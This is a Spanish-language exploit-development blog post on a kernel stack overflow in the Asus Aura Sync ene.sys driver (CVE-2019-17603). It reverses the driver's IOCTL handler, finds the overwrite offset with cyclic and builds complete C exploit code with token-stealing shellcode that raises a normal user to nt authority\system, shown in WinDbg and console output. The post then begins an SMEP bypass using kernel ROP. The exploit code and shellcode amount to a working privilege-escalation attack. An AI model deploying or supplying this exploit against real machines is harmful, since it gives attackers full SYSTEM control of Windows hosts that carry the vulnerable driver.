xchg2pwn

xchg2pwn


Entusiasta del reversing y desarrollo de exploits



Exploit Development

Stack Overflow


En este post se llevará a cabo la explotación de una vulnerabilidad ahora en modo kernel, para ello usaremos una de las más conocidas: un Stack Overflow, para ello instalaremos Asus Aura Sync en su versión 1.07.71, que según el CVE-2019-17603 tiene una vulnerabilidad en el driver ene.sys que se instala a la par del programa, y este contiene un manejo de datos incorrecto permitiendo así escalar privilegios.


Reversing Driver


Luego de instalar el programa o simplemente cargar el driver con sc.exe, desde la máquina debugger deberíamos ser capaces de poder ver el módulo ene cargado.

0: kd> lm m ene
Browse full module list
start             end                 module name
fffff807`7bdc0000 fffff807`7bdc7000   ene        (deferred)

Si miramos la información sobre el driver vemos que su IRP_MJ_DEVICE_CONTROL se encuentra en un offset de 0x1100 a partir de la base del driver, esta estructura es la encargada de gestionar las acciones que realizan los diferentes códigos ioctl.

0: kd> !drvobj \driver\ene 2
Driver object (ffff990ab5239530) is for:
 \Driver\Ene

DriverEntry:   fffff8077bdc6064	ene
DriverStartIo: 00000000	
DriverUnload:  fffff8077bdc14c0	ene
AddDevice:     00000000	

Dispatch routines:
[00] IRP_MJ_CREATE                      fffff8077bdc1100	ene+0x1100
[01] IRP_MJ_CREATE_NAMED_PIPE           fffff8075fd10770	nt!IopInvalidDeviceRequest
[02] IRP_MJ_CLOSE                       fffff8077bdc1100	ene+0x1100
[03] IRP_MJ_READ                        fffff8075fd10770	nt!IopInvalidDeviceRequest
[04] IRP_MJ_WRITE                       fffff8075fd10770	nt!IopInvalidDeviceRequest
[05] IRP_MJ_QUERY_INFORMATION           fffff8075fd10770	nt!IopInvalidDeviceRequest
[06] IRP_MJ_SET_INFORMATION             fffff8075fd10770	nt!IopInvalidDeviceRequest
[07] IRP_MJ_QUERY_EA                    fffff8075fd10770	nt!IopInvalidDeviceRequest
[08] IRP_MJ_SET_EA                      fffff8075fd10770	nt!IopInvalidDeviceRequest
[09] IRP_MJ_FLUSH_BUFFERS               fffff8075fd10770	nt!IopInvalidDeviceRequest
[0a] IRP_MJ_QUERY_VOLUME_INFORMATION    fffff8075fd10770	nt!IopInvalidDeviceRequest
[0b] IRP_MJ_SET_VOLUME_INFORMATION      fffff8075fd10770	nt!IopInvalidDeviceRequest
[0c] IRP_MJ_DIRECTORY_CONTROL           fffff8075fd10770	nt!IopInvalidDeviceRequest
[0d] IRP_MJ_FILE_SYSTEM_CONTROL         fffff8075fd10770	nt!IopInvalidDeviceRequest
[0e] IRP_MJ_DEVICE_CONTROL              fffff8077bdc1100	ene+0x1100
[0f] IRP_MJ_INTERNAL_DEVICE_CONTROL     fffff8075fd10770	nt!IopInvalidDeviceRequest
[10] IRP_MJ_SHUTDOWN                    fffff8075fd10770	nt!IopInvalidDeviceRequest
[11] IRP_MJ_LOCK_CONTROL                fffff8075fd10770	nt!IopInvalidDeviceRequest
[12] IRP_MJ_CLEANUP                     fffff8075fd10770	nt!IopInvalidDeviceRequest
[13] IRP_MJ_CREATE_MAILSLOT             fffff8075fd10770	nt!IopInvalidDeviceRequest
[14] IRP_MJ_QUERY_SECURITY              fffff8075fd10770	nt!IopInvalidDeviceRequest
[15] IRP_MJ_SET_SECURITY                fffff8075fd10770	nt!IopInvalidDeviceRequest
[16] IRP_MJ_POWER                       fffff8075fd10770	nt!IopInvalidDeviceRequest
[17] IRP_MJ_SYSTEM_CONTROL              fffff8075fd10770	nt!IopInvalidDeviceRequest
[18] IRP_MJ_DEVICE_CHANGE               fffff8075fd10770	nt!IopInvalidDeviceRequest
[19] IRP_MJ_QUERY_QUOTA                 fffff8075fd10770	nt!IopInvalidDeviceRequest
[1a] IRP_MJ_SET_QUOTA                   fffff8075fd10770	nt!IopInvalidDeviceRequest
[1b] IRP_MJ_PNP                         fffff8075fd10770	nt!IopInvalidDeviceRequest

Lo primero es entender como funciona el driver, para ello podemos desensamblar el driver utilizando IDA, iniciaremos por el DriverEntry, este bloque llama a la función IoCreateDevice, esta función establece un nombre de dispositivo, en este caso es a través de \\.\EneIo, esta es la forma en la que nos comunicaremos con el driver.

Una vez creado el objeto se configura la tabla Dispatch Routines, donde podemos encontrar IoCtlHandler que renombramos así ya que el offset coincide con el que vimos al inicio desde WinDbg, el offset pertenece a IRP_MJ_DEVICE_CONTROL.

Identificada la función encargada de despachar las funciones vamos a analizar la función IoCtlHandler, aquí cada función se identifica con un código ioctl, nuestro driver acepta estas llamadas usando estructuras de tipo IRP o I/O Request Packets.

El driver decide que hacer dependiendo el tipo de solicitud que recibió, compara el primer byte del registro rsi o el campo Major Function contra los valores de 0x0, 0x2 y 0xe, que corresponden a las estructuras IRP_MJ_CREATE, IRP_MJ_CLOSE e IRP_MJ_DEVICE_CONTROL, la última nos interesa ya que queremos comunicarnos.

Si el byte es 0xe significa que nos comunicaremos a través de códigos ioctl por lo que inicia una estructura tipo switch para buscar el código ioctl correspondiente, iniciaremos con el primer código que es 0x80102040 y analizaremos lo que ejecuta.

El siguiente bloque nuevamente muestra un mensaje, y hace un salto condicional, si ebx es igual a 0 que significaría que la longitud de nuestros datos es nula y no enviamos datos, por lo que debemos de seguir la línea roja del salto condicional jz.

Siguiendo la linea roja vemos que utiliza la función memmove sin ninguna sanitización aparente ya que realmente nosotros controlamos la longitud, ya que controlamos los datos si escribimos mas de lo que soporta podriamos ocasionar un Buffer Overflow.

Después de copiar los datos siempre vuelve al final de la función que concluye en la instrucción ret del offset 0x14b8, si pasamos el buffer y sobrescribimos la dirección de retorno en este ultimo ret deberiamos tomar el control del flujo del programa.


Stack Overflow Trigger


Utilizando DeviceIoControl podemos comunicarnos pasandole el handle y el código ioctl perteneciente a la función, además de ello el buffer que le pasaremos y su tamaño, el resto de parámetros los dejaremos como NULL ya que no nos interesan.

BOOL DeviceIoControl(
  [in]                HANDLE       hDevice,
  [in]                DWORD        dwIoControlCode,
  [in, optional]      LPVOID       lpInBuffer,
  [in]                DWORD        nInBufferSize,
  [out, optional]     LPVOID       lpOutBuffer,
  [in]                DWORD        nOutBufferSize,
  [out, optional]     LPDWORD      lpBytesReturned,
  [in, out, optional] LPOVERLAPPED lpOverlapped
);

En un proyecto de Visual Studio definimos el siguiente código, iniciamos definiendo un buffer llamado payload con un tamaño de 100 bytes, (un poco más del buffer definido) el cual rellenaremos con A's, luego de eso lo enviamos al controlador.

#include <windows.h>
#include <stdio.h>

#define IOCTL_STACK_OVERFLOW 0x80102040

int main() {
    HANDLE hDevice = CreateFileA("\\\\.\\EneIo", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);

    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("[-] Failed to get handle: 0x%x\n", GetLastError());
        exit(EXIT_FAILURE);
    }

    LPVOID payload = VirtualAlloc(NULL, 100, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    RtlFillMemory(payload, 100, 'A');

    DeviceIoControl(hDevice, IOCTL_STACK_OVERFLOW, payload, 100, NULL, 0, NULL, NULL);
    CloseHandle(hDevice);

    return 0;
}

Para ver lo que está haciendo el ultimo bloque reverseado estableceremos un breakpoint en la llamada a memmove y continuaremos la ejecución normal.

0: kd> bp ene + 0x142b

0: kd> g

Al compilar el proyecto nuestro exploit nos queda en un .exe que ejecutaremos.

C:\Users\user\Desktop> exploit.exe

Volviendo al debugger vemos que en el kernel hemos alcanzado el breakpoint a la llamada, así que analizaremos el comportamiento de esta llamada a memmove.

0: kd> g
Breakpoint 0 hit
ene+0x142b:
fffff803`66fe142b e810040000      call    ene+0x1840 (fffff803`66fe1840)

Según la documentación oficial de Microsoft, la función memmove recibe en total 3 argumentos, un puntero al buffer de destino, un puntero al source y un contador.

void *memmove(
    void *dest,
    const void *src,
    size_t count
);

Las convenciones de llamada en x64 nos dicen que los primeros 3 argumentos deberian estar en los registros rcx, rdx y r8, en rcx podemos ver el destino, en rdx el source o lo que se va a copiar y en r8 el contador que son 100 bytes.

0: kd> db rcx
ffffaa04`6ac8b7b0  0e 00 00 00 0e e4 ff ff-18 f2 3c 06 0e e4 ff ff  ..........<.....
ffffaa04`6ac8b7c0  49 6f 20 20 00 00 00 00-00 00 00 00 00 00 00 00  Io  ............
ffffaa04`6ac8b7d0  00 00 00 00 04 aa ff ff-70 f9 cc 60 03 f8 ff ff  ........p..`....
ffffaa04`6ac8b7e0  00 f1 3c 06 0e e4 ff ff-c5 21 cd 60 03 f8 ff ff  ..<......!.`....
ffffaa04`6ac8b7f0  02 00 00 00 00 00 00 00-8e 41 3b 61 03 f8 ff ff  .........A;a....
ffffaa04`6ac8b800  80 00 84 07 0e e4 ff ff-80 00 84 07 0e e4 ff ff  ................
ffffaa04`6ac8b810  00 00 00 00 00 00 00 00-01 00 00 00 00 00 00 00  ................
ffffaa04`6ac8b820  00 f1 3c 06 0e e4 ff ff-01 c8 04 61 03 f8 ff ff  ..<........a....

0: kd> db rdx
ffffe40e`07d3d440  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
ffffe40e`07d3d450  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
ffffe40e`07d3d460  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
ffffe40e`07d3d470  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
ffffe40e`07d3d480  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
ffffe40e`07d3d490  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
ffffe40e`07d3d4a0  41 41 41 41 00 00 00 00-00 00 00 00 00 00 00 00  AAAA............
ffffe40e`07d3d4b0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................

0: kd> ? r8
Evaluate expression: 100 = 00000000`00000064

Luego de ejecutar la llamada podemos ver que el contenido del buffer se ha copiado al destino, sin embargo hay que pensar que posiblemente el buffer definido sea mas pequeño que nuestro buffer, nosotros hemos escrito un total de 100 bytes.

0: kd> p
ene+0x1430:
fffff803`66fe1430 488b542430      mov     rdx,qword ptr [rsp+30h]

0: kd> db 0xffffaa046ac8b7b0
ffffaa04`6ac8b7b0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
ffffaa04`6ac8b7c0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
ffffaa04`6ac8b7d0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
ffffaa04`6ac8b7e0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
ffffaa04`6ac8b7f0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
ffffaa04`6ac8b800  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
ffffaa04`6ac8b810  41 41 41 41 00 00 00 00-01 00 00 00 00 00 00 00  AAAA............
ffffaa04`6ac8b820  00 f1 3c 06 0e e4 ff ff-01 c8 04 61 03 f8 ff ff  ..<........a....

Avanzamos hasta el siguiente ret donde podemos ver que hemos sobrescrito la dirección de retorno con 0x4141414141414141 que es igual a las A's en hexadecimal, si intentamos continuar provocará un error ya que esa dirección no existe, de esta forma controlamos la dirección donde apuntará mediante un Stack Buffer Overflow.

0: kd> pt
ene+0x14b8:
fffff803`66fe14b8 c3              ret

0: kd> dqs rsp L1
ffffaa04`6ac8b7e8  41414141`41414141

0: kd> p
Access violation - code c0000005 (!!! second chance !!!)
ene+0x14b8:
fffff803`66fe14b8 c3              ret

Para encontrar la cantidad de bytes necesarios antes de sobrescribir la dirección de retorno crearemos un patrón de caractéres con la función cyclic de pwntools.

❯ cyclic -n 8 100
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa

Ahora en lugar de rellenar el buffer payload con A's copiaremos al buffer los 100 bytes que creamos usando cyclic, después de ello compilamos otra vez el exploit.

#include <windows.h>
#include <stdio.h>

#define IOCTL_STACK_OVERFLOW 0x80102040

int main() {
    HANDLE hDevice = CreateFileA("\\\\.\\EneIo", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);

    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("[-] Failed to get handle: 0x%x\n", GetLastError());
        exit(EXIT_FAILURE);
    }

    CONST CHAR *cyclic = "aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa";

    LPVOID payload = VirtualAlloc(NULL, 100, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    RtlCopyMemory(payload, cyclic, 100);

    DeviceIoControl(hDevice, IOCTL_STACK_OVERFLOW, payload, 100, NULL, 0, NULL, NULL);
    CloseHandle(hDevice);

    return 0;
}

El breakpoint ahora será directamente en el ret donde se produce la vulnerabilidad.

0: kd> bp ene + 0x14b8

0: kd> g

Luego de ejecutar el exploit podemos ver que la dirección de retorno ahora tiene como valor algunos de los bytes que contenia la cadena creada con cyclic.

C:\Users\user\Desktop> exploit.exe

0: kd> g
Breakpoint 0 hit
ene+0x14b8:
fffff803`1bbc14b8 c3              ret

0: kd> dqs rsp L1
fffffe02`179d47e8  61616161`61616168

Ya con la dirección podemos calcular el offset nuevamente utilizando cyclic, esa es la cantidad de bytes necesarios antes de sobrescribir la dirección de retorno.

❯ cyclic -n 8 -l 0x6161616161616168
56

Sabemos que después de rellenar 56 bytes tenemos la dirección de retorno, entonces reservaremos un nuevo espacio llamado shellcode donde copiaremos un total de 64 C's, luego el puntero a shellcode lo copiaremos a payload después de 56 A's por lo que el controlador deberia intentar ejecutar las C's en el ret.

#include <windows.h>
#include <stdio.h>

#define IOCTL_STACK_OVERFLOW 0x80102040
#define QWORD ULONGLONG

int main() {
    HANDLE hDevice = CreateFileA("\\\\.\\EneIo", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);

    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("[-] Failed to get handle: 0x%x\n", GetLastError());
        exit(EXIT_FAILURE);
    }

    LPVOID payload = VirtualAlloc(NULL, 64, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    LPVOID shellcode = VirtualAlloc(NULL, 64, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    RtlFillMemory(payload, 56, 'A');
    RtlFillMemory(shellcode, 64, 'C');

    *((QWORD *) ((BYTE *) payload + 56)) = (QWORD) shellcode;

    DeviceIoControl(hDevice, IOCTL_STACK_OVERFLOW, payload, 64, NULL, 0, NULL, NULL);
    CloseHandle(hDevice);

    return 0;
}

Ejecutamos el exploit y ahora la dirección de retorno apunta a 0x223877d0000, esta dirección contiene las C's por lo que se intentarán ejecutar como instrucciones.

0: kd> g
Breakpoint 0 hit
ene+0x14b8:
fffff801`294b14b8 c3              ret
  
0: kd> db poi(rsp) L40
00000223`877d0000  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
00000223`877d0010  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
00000223`877d0020  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
00000223`877d0030  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC

0: kd> p
00000223`877d0000 43              ???


Initial Exploit


Ya que podemos ejecutar un shellcode entonces utilizaremos un token stealing, este shellcode esta diseñado para tomar el token del proceso System y copiarlo a nuestro proceso actual por lo vamos a obtener sus privilegios, al ejecutarlo simplemente llamaremos a system("cmd.exe"); para obtener una shell con todos los privilegios.

#include <windows.h>
#include <stdio.h>

#define IOCTL_STACK_OVERFLOW 0x80102040
#define QWORD ULONGLONG

BYTE tokenStealing[60] = {
    0x65, 0x48, 0x8b, 0x14, 0x25, 0x88, 0x01, 0x00, 0x00, // mov rdx, [gs:0x188]              ; $rdx = _KTHREAD
    0x48, 0x8b, 0x82, 0xb8, 0x00, 0x00, 0x00,             // mov rax, [rdx + 0xb8]            ; $rax = _EPROCESS
    0x50, 0x5b,                                           // mov rbx, rax                     ; $rbx = _EPROCESS
                                                          // .loop:
    0x48, 0x8b, 0x9b, 0x48, 0x04, 0x00, 0x00,             //     mov rbx, [rbx + 0x448]       ; $rbx = ActiveProcessLinks
    0x48, 0x81, 0xeb, 0x48, 0x04, 0x00, 0x00,             //     sub rbx, 0x448               ; $rbx = _EPROCESS
    0x48, 0x83, 0xbb, 0x40, 0x04, 0x00, 0x00, 0x04,       //     cmp qword [rbx + 0x440], 0x4 ; cmp PID to SYSTEM PID
    0x75, 0xe8,                                           //     jnz .loop                    ; if zf == 0 -> loop
    0x48, 0x8b, 0x8b, 0xb8, 0x04, 0x00, 0x00,             // mov rcx, [rbx + 0x4b8]           ; $rcx = SYSTEM token
    0x80, 0xe1, 0xf0,                                     // and cl, 0xf0                     ; clear _EX_FAST_REF struct
    0x48, 0x89, 0x88, 0xb8, 0x04, 0x00, 0x00,             // mov [rax + 0x4b8], rcx           ; store SYSTEM token in _EPROCESS
    0xc3                                                  // ret                              ; return
};

int main() {
    HANDLE hDevice = CreateFileA("\\\\.\\EneIo", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);

    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("[-] Failed to get handle: 0x%x\n", GetLastError());
        exit(EXIT_FAILURE);
    }

    LPVOID payload = VirtualAlloc(NULL, 64, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    LPVOID shellcode = VirtualAlloc(NULL, sizeof(tokenStealing), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    RtlFillMemory(payload, 56, 'A');
    RtlCopyMemory(shellcode, tokenStealing, sizeof(tokenStealing));

    *((QWORD *) ((BYTE *) payload + 56)) = (QWORD) shellcode;

    DeviceIoControl(hDevice, IOCTL_STACK_OVERFLOW, payload, 64, NULL, 0, NULL, NULL);
    CloseHandle(hDevice);

    system("cmd.exe");
    return 0;
}

Ahora al llegar al ret tomará como dirección de retorno nuestro token stealing que en caso de ser ejecutado nos asignará todos los privilegios del proceso System.

0: kd> g
Breakpoint 0 hit
ene+0x14b8:
fffff802`826314b8 c3              ret

0: kd> u poi(rsp) L0xc
00000286`4a8c0000 65488b142588010000 mov     rdx,qword ptr gs:[188h]
00000286`4a8c0009 488b82b8000000     mov     rax,qword ptr [rdx+0B8h]
00000286`4a8c0010 50                 push    rax
00000286`4a8c0011 5b                 pop     rbx
00000286`4a8c0012 488b9b48040000     mov     rbx,qword ptr [rbx+448h]
00000286`4a8c0019 4881eb48040000     sub     rbx,448h
00000286`4a8c0020 4883bb4004000004   cmp     qword ptr [rbx+440h],4
00000286`4a8c0028 75e8               jne     00000286`4a8c0012
00000286`4a8c002a 488b8bb8040000     mov     rcx,qword ptr [rbx+4B8h]
00000286`4a8c0031 80e1f0             and     cl,0F0h
00000286`4a8c0034 488988b8040000     mov     qword ptr [rax+4B8h],rcx
00000286`4a8c003b c3                 ret

Tenemos un problema, cuando terminamos de ejecutar el todo el shellcode y llegamos al ret, como sobrescribimos la dirección de retorno donde originalmente ibamos a volver va a intentar retornar a otro qword que es 0x2 y provocará un error.

0: kd> p
00000286`4a8c0000 65488b142588010000 mov   rdx,qword ptr gs:[188h]

0: kd> pt
00000286`4a8c003b c3              ret

0: kd> dqs rsp L1
fffffd89`f360d7f0  00000000`00000002

0: kd> p
00000000`00000002 ??              ???

Si retornamos a esa dirección inválida el kernel corrompe por lo que nos manda un BSOD de tipo KERNEL_SECURITY_CHECK_FAILURE el cual nos indica que el stack está corrupto y no puede continuar porque puede significar una falla de seguridad.

0: kd> g
Break instruction exception - code 80000003 (first chance)
nt!KeCheckStackAndTargetAddress+0x53:
fffff802`7dd097d3 cc              int     3

0: kd> g
KDTARGET: Refreshing KD connection
*** Fatal System Error: 0x00000139 (0x0000000000000000,0x0000000000000000,0x0000000000000000,0x0000000000000002)

A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.

A fatal system error has occurred.

nt!DbgBreakPointWithStatus:
fffff802`7de06f80 cc              int     3

0: kd> !analyze -v
*******************************************************************************
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *
*******************************************************************************

KERNEL_SECURITY_CHECK_FAILURE (139)
A kernel component has corrupted a critical data structure. The corruption could potentially allow a malicious user to gain control of this machine.
Arguments:
Arg1: 0000000000000000, A stack-based buffer has been overrun.
Arg2: 0000000000000000, Address of the trap frame for the exception that caused the BugCheck
Arg3: 0000000000000000, Address of the exception record for the exception that caused the BugCheck
Arg4: 0000000000000002, Reserved

Para evitar esto lo que haremos será mover el stack para que retorne a una dirección que haga que salga correctamente, podemos usar la de IopSynchronousServiceTail, esta es parte del gestor I/O Manager de Windows y es tipicamente la que llama a la función DeviceIoControl, si retornamos aquí el sitema operativo creerá que la operación se completó y retornará la ejecución al modo usuario de forma normal.

0: kd> g
Breakpoint 0 hit
ene+0x14b8:
fffff803`88e614b8 c3              ret

0: kd> pt
0000020f`af27003b c3              ret

0: kd> dqs rsp
fffffe0e`440147f0  00000000`00000002
fffffe0e`440147f8  fffff803`843b418e nt!ExAllocatePoolWithTag+0x2e
fffffe0e`44014800  ffffc88d`75171660
fffffe0e`44014808  ffffc88d`75171660
fffffe0e`44014810  00000000`00000000
fffffe0e`44014818  00000000`00000001
fffffe0e`44014820  ffffc88d`751f78b0
fffffe0e`44014828  fffff803`8404c801 nt!IopSynchronousServiceTail+0x361
fffffe0e`44014830  fffffe0e`44014b80
fffffe0e`44014838  00000000`80102040
fffffe0e`44014840  ffffc88d`75171660
fffffe0e`44014848  fffff803`00000000
fffffe0e`44014850  00000000`00000000
fffffe0e`44014858  fffff803`83c09c01 nt!MiValidFault+0x4f1
fffffe0e`44014860  ffffc88d`75171660
fffffe0e`44014868  00000000`00000000

Entonces es simple, añadimos 0x38 al stack para que en el ret ahora apunte a la dirección que sale usando el retorno de la función IopSynchronousServiceTail.

❯ asm -c amd64 'add rsp, 0x38'
4883c438

0x48, 0x83, 0xc4, 0x38,        // add rsp, 0x38        ; restore stack
0xc3                           // ret                  ; return

Si volvemos a correr el exploit podemos ver que luego de ejecutar nuestro shellcode retorna a la salida de la función que queremos y la ejecución continúa sin corromper.

0: kd> g
Breakpoint 0 hit
ene+0x14b8:
fffff800`2c8214b8 c3              ret

0: kd> pt
00000268`146e003f c3              ret

0: kd> dqs rsp L1
ffffa402`61972828  fffff800`2664c801 nt!IopSynchronousServiceTail+0x361

0: kd> g
Debuggee is running...

Resumiendo el exploit, rellenamos con A's hasta antes de la dirección de retorno, aquí escribimos la dirección de nuestro shellcode que robará el token del proceso System y luego de limpiar el stack retorna al modo de usuario, después de explotar la vulnerabilidad y robar el token ejecutamos una cmd.exe para obtener una shell.

#include <windows.h>
#include <stdio.h>

#define IOCTL_STACK_OVERFLOW 0x80102040
#define QWORD ULONGLONG

BYTE tokenStealing[64] = {
    0x65, 0x48, 0x8b, 0x14, 0x25, 0x88, 0x01, 0x00, 0x00, // mov rdx, [gs:0x188]              ; $rdx = _KTHREAD
    0x48, 0x8b, 0x82, 0xb8, 0x00, 0x00, 0x00,             // mov rax, [rdx + 0xb8]            ; $rax = _EPROCESS
    0x50, 0x5b,                                           // mov rbx, rax                     ; $rbx = _EPROCESS
                                                          // .loop:
    0x48, 0x8b, 0x9b, 0x48, 0x04, 0x00, 0x00,             //     mov rbx, [rbx + 0x448]       ; $rbx = ActiveProcessLinks
    0x48, 0x81, 0xeb, 0x48, 0x04, 0x00, 0x00,             //     sub rbx, 0x448               ; $rbx = _EPROCESS
    0x48, 0x83, 0xbb, 0x40, 0x04, 0x00, 0x00, 0x04,       //     cmp qword [rbx + 0x440], 0x4 ; cmp PID to SYSTEM PID
    0x75, 0xe8,                                           //     jnz .loop                    ; if zf == 0 -> loop
    0x48, 0x8b, 0x8b, 0xb8, 0x04, 0x00, 0x00,             // mov rcx, [rbx + 0x4b8]           ; $rcx = SYSTEM token
    0x80, 0xe1, 0xf0,                                     // and cl, 0xf0                     ; clear _EX_FAST_REF struct
    0x48, 0x89, 0x88, 0xb8, 0x04, 0x00, 0x00,             // mov [rax + 0x4b8], rcx           ; store SYSTEM token in _EPROCESS
    0x48, 0x83, 0xc4, 0x38,                               // add rsp, 0x38                    ; restore stack
    0xc3                                                  // ret                              ; return
};

int main() {
    HANDLE hDevice = CreateFileA("\\\\.\\EneIo", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);

    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("[-] Failed to get handle: 0x%x\n", GetLastError());
        exit(EXIT_FAILURE);
    }

    LPVOID payload = VirtualAlloc(NULL, 64, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    LPVOID shellcode = VirtualAlloc(NULL, sizeof(tokenStealing), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    RtlFillMemory(payload, 56, 'A');
    RtlCopyMemory(shellcode, tokenStealing, sizeof(tokenStealing));

    *((QWORD *) ((BYTE *) payload + 56)) = (QWORD) shellcode;

    DeviceIoControl(hDevice, IOCTL_STACK_OVERFLOW, payload, 64, NULL, 0, NULL, NULL);
    CloseHandle(hDevice);

    system("cmd.exe");
    return 0;
}

Al ejecutar el exploit deberiamos pasar de la shell como el usuario llamado user con pocos privilegios a nt authority\system que es el usuario con máximos privilegios.

C:\Users\user\Desktop> whoami
windows\user

C:\Users\user\Desktop> exploit.exe
Microsoft Windows [Versión 10.0.19045.6456]
(c) Microsoft Corporation. Todos los derechos reservados.

C:\Users\user\Desktop> whoami
nt authority\system

C:\Users\user\Desktop>


SMEP Bypass


A menudo Windows implementa soluciones para evitar que una vulnerabilidad sea crítica y que de existir no se pueda explotar o al menos no sea fácil, aquí es donde nace SMEP, una protección que impide ejecutar código en memoria de usuario si se ejecuta desde modo kernel, a continuación entenderemos su funcionamiento.

Cuando ejecutamos el exploit y sobrescribimos la dirección de retorno intenta saltar a nuestro shellcode, lo importante aqui es que nuestro shellcode está reservado en memoria de usuario, ya que estamos en modo kernel al intentar ejecutar la memoria de usuario nos saltará la protección SMEP impidiendo así que este se ejecute.

0: kd> bp ene + 0x14b8

0: kd> g
Breakpoint 0 hit
ene+0x14b8:
fffff803`7da614b8 c3                 ret

0: kd> u poi(rsp) L0xd
00000213`f7740000 65488b142588010000 mov     rdx,qword ptr gs:[188h]
00000213`f7740009 488b82b8000000     mov     rax,qword ptr [rdx+0B8h]
00000213`f7740010 50                 push    rax
00000213`f7740011 5b                 pop     rbx
00000213`f7740012 488b9b48040000     mov     rbx,qword ptr [rbx+448h]
00000213`f7740019 4881eb48040000     sub     rbx,448h
00000213`f7740020 4883bb4004000004   cmp     qword ptr [rbx+440h],4
00000213`f7740028 75e8               jne     00000213`f7740012
00000213`f774002a 488b8bb8040000     mov     rcx,qword ptr [rbx+4B8h]
00000213`f7740031 80e1f0             and     cl,0F0h
00000213`f7740034 488988b8040000     mov     qword ptr [rax+4B8h],rcx
00000213`f774003b 4883c438           add     rsp,38h
00000213`f774003f c3                 ret

En el exploit anterior logramos ejecutar el shellcode ya que se deshabilitó SMEP, prácticamente todos los procesadores actuales tienen soporte y se encuentra activado por defecto, al ejecutar el ret e interpretar la primera instrucción del shellcode lanza BSOD tipo ATTEMPTED_EXECUTE_OF_NOEXECUTE_MEMORY.

0: kd> p
00000213`f7740000 65488b142588010000 mov   rdx,qword ptr gs:[188h]

0: kd> p
KDTARGET: Refreshing KD connection
*** Fatal System Error: 0x000000fc (0x00000213F7740000,0x00000001A6AFB867,0xFFFFFE0526456660,0x0000000080000005)

A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.

A fatal system error has occurred.

nt!DbgBreakPointWithStatus:
fffff803`76a06f80 cc              int     3

0: kd> !analyze -v
*******************************************************************************
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *
*******************************************************************************

ATTEMPTED_EXECUTE_OF_NOEXECUTE_MEMORY (fc)
An attempt was made to execute non-executable memory.  The guilty driver
is on the stack trace (and is typically the current instruction pointer).
When possible, the guilty driver's name is printed on
the BugCheck screen and saved in KiBugCheckDriver.
Arguments:
Arg1: 00000213f7740000, Virtual address for the attempted execute.
Arg2: 00000001a6afb867, PTE contents.
Arg3: fffffe0526456660, (reserved)
Arg4: 0000000080000005, (reserved)

Si no podemos ejecutar instrucciones en modo user tendremos que hacerlo desde modo kernel, para ello podemos hacer ROP con el módulo nt y luego de hacer el bypass ya podremos ejecutar nuestro shellcode sin preocuparnos de SMEP.

C:\Users\user\Desktop> copy C:\Windows\System32\ntoskrnl.exe .
        1 archivo(s) copiado(s).

C:\Users\user\Desktop>

Usando ropper podríamos encontrar algunos gadgets muy interesantes pero aun encontramos un problema, la protección kASLR hace que la dirección base de los módulos sea aleatoria por lo que necesitamos conseguir la dirección base.

❯ ropper --file ntoskrnl.exe -I 0x0 --console
[INFO] Load gadgets for section: .text
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
(ntoskrnl.exe/PE/x86_64)>

